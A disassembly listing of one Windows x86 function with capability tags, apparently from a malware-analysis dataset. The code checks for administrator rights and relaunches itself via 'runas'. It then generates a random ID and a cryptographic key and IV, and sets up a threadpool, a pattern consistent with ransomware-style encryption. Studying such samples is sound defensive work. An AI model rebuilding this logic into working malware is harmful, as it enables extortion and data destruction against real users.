Function at 0x401e70
Capabilities:
Create process on windows
Generate random numbers via winapi
Get token membership
Terminate process

Disassembly:
sub esp, 0x198
mov eax, dword [section..data]
xor eax, esp
mov dword [esp + 0x194], eax
cmp dword [esp + 0x19c], 2
push ebx
mov ebx, dword [esp + 0x1a4]
mov dword [esp + 8], ebx
jge 0x401fb4
lea eax, [esp + 4]
mov dword [esp + 8], 0
push eax
push 0
push 0
push 0
push 0
push 0
push 0
push 0x220
push 0x20
push 2
lea eax, [esp + 0x70]
mov dword [esp + 0x2c], 0
push eax
mov dword [esp + 0x74], 0
mov word [esp + 0x78], 0x500
call dword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
test eax, eax
je 0x401f01
lea eax, [esp + 8]
push eax
push dword [esp + 8]
push 0
call dword [sym.imp.ADVAPI32.dll_CheckTokenMembership]
push dword [esp + 4]
call dword [sym.imp.ADVAPI32.dll_FreeSid]
cmp dword [esp + 8], 0
jne 0x401f84
push 0x104
lea eax, [esp + 0x98]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
je 0x401f84
push 0x38
lea eax, [esp + 0x14]
mov dword [esp + 0x10], 0x3c
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
mov dword [esp + 0x18], str.runas
lea eax, [esp + 0x94]
mov dword [esp + 0x20], str.__foodsum
mov dword [esp + 0x1c], eax
lea eax, [esp + 0xc]
mov dword [esp + 0x14], 0
push eax
mov dword [esp + 0x2c], 0
call dword [sym.imp.SHELL32.dll_ShellExecuteExA]
test eax, eax
jne 0x401f7c
push 1
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
push 0
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
push 0
push 0
push 0x406074
push dword [ebx]
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
xor eax, eax
pop ebx
mov ecx, dword [esp + 0x194]
xor ecx, esp
call fcn.00402269
add esp, 0x198
ret
push esi
push edi
push 0
call dword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
push eax
call dword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_srand]
mov eax, dword [0x4060a0]
add esp, 8
vmovdqu ymm0, ymmword [str.ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789]
mov edi, dword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
xor esi, esi
mov dword [esp + 0x34], eax
mov al, byte [0x4060a4]
vmovdqu ymmword [esp + 0x14], ymm0
mov byte [esp + 0x38], al
lea ebx, [esi + 0x24]
mov eax, 0xcccccccd
mov ecx, esi
mul esi
shr edx, 2
lea eax, [edx + edx*4]
sub ecx, eax
cmp ecx, 4
jne 0x40200d
mov al, 0x2d
jmp 0x40201a
vzeroupper
call edi
xor edx, edx
div ebx
mov al, byte [esp + edx + 0x14]
mov byte [esp + esi + 0x88], al
inc esi
cmp esi, 0x13
jl 0x401ff3
push 0xf0000000
push 0x18
push 0
push 0
lea eax, [esp + 0x1c]
mov byte [esp + 0xab], 0
push eax
vzeroupper
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
mov ebx, dword [esp + 0x10]
test eax, eax
je 0x402113
mov esi, dword [sym.imp.ADVAPI32.dll_CryptGenRandom]
lea eax, [esp + 0x68]
push eax
push 0x20
push dword [esp + 0x14]
call esi
lea eax, [esp + 0x58]
push eax
push 0x10
push dword [esp + 0x14]
call esi
push 0
push dword [esp + 0x10]
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
vmovdqu ymm0, ymmword [0x4042e0]
vpxor ymm0, ymm0, ymmword [esp + 0x68]
vmovdqu ymmword [esp + 0x68], ymm0
vmovdqa xmm0, xmmword [0x4042c0]
vpxor xmm0, xmm0, xmmword [esp + 0x58]
lea eax, [esp + 0x88]
vmovdqu xmmword [esp + 0x58], xmm0
push eax
lea edx, [esp + 0x5c]
lea ecx, [esp + 0x6c]
vzeroupper
call fcn.00401cb0
vmovdqu ymm0, ymmword [0x4042e0]
vpxor ymm0, ymm0, ymmword [esp + 0x6c]
vmovdqu ymmword [esp + 0x6c], ymm0
vmovdqa xmm0, xmmword [0x4042c0]
vpxor xmm0, xmm0, xmmword [esp + 0x5c]
add esp, 4
vmovdqu xmmword [esp + 0x58], xmm0
push 0
vzeroupper
call dword [sym.imp.KERNEL32.dll_CreateThreadpool]
mov dword [0x40666c], eax
test eax, eax
jne 0x40211b
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.tpcf:__d_n
call fcn.00401040
add esp, 8
push 1
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
call dword [sym.imp.KERNEL32.dll_CreateThreadpoolCleanupGroup]
mov ecx, eax
mov dword [0x406668], ecx
test ecx, ecx
jne 0x402155
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.pf:__d_n
call fcn.00401040
add esp, 8
push dword [0x40666c]
call dword [sym.imp.KERNEL32.dll_CloseThreadpool]
push 1
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
mov eax, dword [0x40666c]
mov dword [0x406648], ecx
mov ecx, 0x406060
mov dword [0x406640], 3
mov dword [0x406650], 0
mov dword [0x406654], 0
mov dword [0x406658], 0
mov dword [0x40665c], 0
mov dword [0x406660], 1
mov dword [0x406664], 0x28
mov dword [0x406644], eax
mov dword [0x40664c], 0
mov eax, dword [ebx + 4]
nop dword [eax]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x4021e0
test dl, dl
je 0x4021dc
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x4021e0
add eax, 2
add ecx, 2
test dl, dl
jne 0x4021c0
xor eax, eax
jmp 0x4021e5
sbb eax, eax
or eax, 1
test eax, eax
jne 0x40224c
lea eax, [esp + 0x88]
push eax
push ecx
lea edx, [esp + 0x60]
lea ecx, [esp + 0x70]
call fcn.00401780
mov eax, dword [0x406668]
add esp, 8
test eax, eax
je 0x402222
push 0
push 0
push eax
call dword [sym.imp.KERNEL32.dll_CloseThreadpoolCleanupGroupMembers]
push dword [0x406668]
call dword [sym.imp.KERNEL32.dll_CloseThreadpoolCleanupGroup]
mov eax, dword [0x40666c]
test eax, eax
je 0x402232
push eax
call dword [sym.imp.KERNEL32.dll_CloseThreadpool]
pop edi
pop esi
xor eax, eax
pop ebx
mov ecx, dword [esp + 0x194]
xor ecx, esp
call fcn.00402269
add esp, 0x198
ret
mov ecx, dword [esp + 0x1a0]
mov eax, 1
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.00402269
add esp, 0x198
ret